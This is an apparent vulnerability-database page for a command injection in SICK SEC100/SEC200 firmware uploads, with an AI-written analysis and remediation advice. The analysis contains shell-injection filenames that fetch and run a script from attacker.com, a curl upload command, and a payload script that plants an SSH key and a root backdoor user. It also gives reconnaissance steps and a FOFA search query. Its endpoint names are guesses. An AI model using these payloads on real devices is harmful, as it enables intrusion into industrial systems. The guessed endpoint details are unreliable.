CVE Professor
/
All CVEs
CVE-2026-107133

CVE-2026-107133 — SICK AG SEC100 (2.3.0) — CWE-78

HIGH CVSS 7.2 NVD

A command injection vulnerability exists in the device's firmware update upload handler where commands embedded into the filename are executed by shell-invoked helpers. By crafting a filename that performs a two-stage fetch-and-execute, an attacker with Service-level access can deliver and run an arbitrary script on the device, allowing persistent root access by appending an SSH public key to the device's authorized keys store.

A command injection vulnerability exists in the device's firmware update upload handler where commands embedded into the filename are executed by shell-invoked helpers. By crafting a filename that performs a two-stage fetch-and-execute, an attacker with Service-level access can deliver and run an arbitrary script on the device, allowing persistent root access by appending an SSH public key to the device's authorized keys store.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. High PR:H
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

This vulnerability is a Command Injection (CWE-78) flaw located within the firmware update upload mechanism of SICK AG's SEC100 and SEC200 devices. The core technical failure is the lack of input sanitization on the filename parameter provided during the firmware upload process.

Specifically, the application passes the user-supplied filename directly into a shell-invoked helper script or system call (e.g., sh -c "cp $filename /tmp/firmware.bin" or similar) without escaping special shell characters. This allows an attacker to break out of the intended command context and execute arbitrary shell commands.

Key Technical Details:

  • Attack Vector (AV:N): The vulnerability is exploitable over the network.

  • Privileges Required (PR:H): The attacker must possess Service-level access. In the context of industrial control systems (ICS) and SICK devices, this typically implies a valid, authenticated session with elevated privileges (often referred to as "Service" or "Maintenance" mode), which is distinct from standard "Operator" or "Viewer" roles.

  • Impact (C:H/I:H/A:H): Successful exploitation leads to full compromise of the device's operating system, allowing the attacker to read all data, modify system configurations, and disrupt operations.
  • ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Fingerprinting: The attacker identifies the target as a SICK SEC100 or SEC200 device. This can be done via:
  • * Banner grabbing on standard web ports (80/443) looking for SICK in the Server header or HTML meta tags. * Checking the device's web interface for specific UI elements associated with firmware management. * Using tools like nmap with ICS-specific scripts (e.g., sick-sec100 if available in NSE) or manual HTTP requests to the firmware upload endpoint.
  • Credential Acquisition: Since PR:H is required, the attacker must first obtain valid Service-level credentials. This could be achieved through:
  • * Credential stuffing or brute-forcing if weak passwords are used. * Social engineering of maintenance personnel. * Exploiting a separate, lower-severity vulnerability to escalate privileges from Operator to Service.

    2. Exploitation

    The attacker crafts a malicious filename that injects shell commands. The description mentions a "two-stage fetch-and-execute" strategy. This implies the attacker first uploads a payload (or uses a command to fetch one) and then executes it.

    Illustrative PoC (Note: Exact endpoint URI and parameter names are not specified in the CVE description. The following is a generic representation of the vulnerability class):

    Assume the firmware upload endpoint is /api/firmware/upload and accepts a multipart/form-data POST request with a file field named firmware_file.

    Step 1: Craft the Malicious Filename
    The attacker creates a file with a name that breaks out of the shell command. For example, if the backend executes cp $filename /tmp/fw.bin, the attacker can use a filename like:
    "; curl http://attacker.com/payload.sh -o /tmp/payload.sh; sh /tmp/payload.sh; #

    However, the CVE specifies a "two-stage fetch-and-execute" via the filename itself. A more likely scenario is that the filename is used in a command that allows chaining. Let's assume the backend does something like:
    sh -c "process_firmware $filename"

    The attacker can use a filename that executes a command to download and run a script:
    filename: "test.bin; wget http://attacker.com/root.sh -O /tmp/root.sh; chmod +x /tmp/root.sh; /tmp/root.sh; #"

    Step 2: Send the Request

    # Illustrative curl command
    curl -X POST "http://<target_ip>/api/firmware/upload" \
      -H "Authorization: Bearer <service_token>" \
      -F "[email protected];filename=test.bin; wget http://attacker.com/root.sh -O /tmp/root.sh; chmod +x /tmp/root.sh; /tmp/root.sh; #"

    Note: The exact syntax depends on how the backend constructs the shell command. The ; or && operators are used to chain commands. The # comments out the rest of the original command to prevent syntax errors.

    Step 3: Payload Execution
    The root.sh script downloaded from the attacker's server contains the logic to achieve persistent root access. For example:

    #!/bin/sh
    # Add attacker's SSH public key to authorized_keys
    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQ... attacker@attacker" >> /root/.ssh/authorized_keys
    # Ensure SSH service is running
    service sshd start
    # Optional: Create a backdoor user
    useradd -o -u 0 -g 0 -s /bin/sh backdoor

    3. Post-Exploitation

  • Persistent Access: The attacker now has an SSH public key in /root/.ssh/authorized_keys. They can log in as root via SSH without a password.
  • Data Exfiltration: The attacker can read sensitive configuration files, network topology data, and process control parameters.
  • Lateral Movement: Using the compromised device as a pivot, the attacker can scan the internal ICS network for other vulnerable devices.
  • Disruption: The attacker can modify control logic, stop processes, or corrupt data, leading to operational downtime or safety hazards.
  • 🌍 Real World Impact

  • Confidentiality (High): Complete exposure of all data stored on the device, including network configurations, user credentials, and industrial process data.
  • Integrity (High): The attacker can modify firmware, configuration files, and control logic, potentially leading to incorrect or dangerous process behavior.
  • Availability (High): The attacker can reboot the device, delete critical files, or crash the operating system, causing a complete loss of service.
  • Practical Consequences:

  • Safety Risks: In industrial environments, unauthorized modification of control logic can lead to physical damage to equipment or injury to personnel.

  • Operational Downtime: Loss of control over critical processes can result in significant financial losses.

  • Supply Chain Compromise: If the device is part of a larger system, the compromise can spread to other connected systems.
  • 🛡️ Remediation & Mitigation

    1. Patching

  • Affected Versions:
  • * SICK AG:SEC100 (2.3.0) * SICK AG:SEC200 (1.2.0)
  • Recommendation: Update to the latest firmware versions released by SICK AG that address this vulnerability. Check SICK's official security advisories for the specific patched versions.
  • 2. Workarounds

  • Restrict Access: Limit access to the firmware update functionality to trusted IP addresses only. Use network ACLs or firewall rules to block external access to the web interface.
  • Disable Firmware Update: If firmware updates are not required, disable the firmware update feature in the device configuration if possible.
  • Input Validation (If Custom Code is Involved): If the device allows custom scripts or plugins, ensure that all user-supplied input, especially filenames, is strictly validated and sanitized. Use allow-lists for valid filename characters (e.g., alphanumeric, hyphens, underscores) and reject any input containing shell metacharacters (;, &, |, $, (, ), etc.).
  • 3. Detection

  • Web Server Logs: Monitor for unusual filenames in firmware upload requests. Look for filenames containing shell metacharacters or long, complex strings.
  • * Example Log Pattern: POST /api/firmware/upload HTTP/1.1 with filename= containing ;, &&, or |.
  • System Logs: Monitor for unexpected SSH logins, especially from unknown IP addresses. Check /var/log/auth.log or equivalent for successful root logins.
  • File Integrity Monitoring (FIM): Monitor changes to critical files such as /root/.ssh/authorized_keys, /etc/passwd, and /etc/shadow. Alert on any unauthorized modifications.
  • Network Traffic: Monitor for outbound connections from the device to unknown external IP addresses, especially on non-standard ports, which may indicate data exfiltration or payload download.
  • ⚠️ Urgency

  • CVSS Score: 7.2 (High)
  • CISA KEV: No
  • Exploit Complexity: Low (AC:L), but requires high privileges (PR:H).
Patching Priority: High

While the vulnerability requires Service-level access, which may not be easily obtainable in a well-secured environment, the impact is severe (full root compromise). Organizations should prioritize patching these devices, especially if they are exposed to untrusted networks or if Service-level credentials are widely known or weak. Immediate action is recommended to mitigate the risk of full device compromise.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="SICK AG SEC100"
CVSS Score
7.2 / 10 · CVSS HIGH
Weakness Types (CWE)
Affected Products (2)
SICK AG:SEC100 (2.3.0) SICK AG:SEC200 (1.2.0)
Related CVEs
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac
8.8
CVE-2026-105101
An OS command injection vulnerability in the ping diagnostic function (InternetState.java) in Elinktek UZ801 4
8.8
CVE-2026-81135
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains an Improper Neutralizati
8.5
CVE-2026-85785
An OS command injection vulnerability in the internal management API of TP-Link Deco BE68 v1 allows an adjacen
8.2
CVE-2026-145364
### Summary A boolean operator-precedence bug in `convertPeerAuthentication()` (`pilot/pkg/serviceregistry/am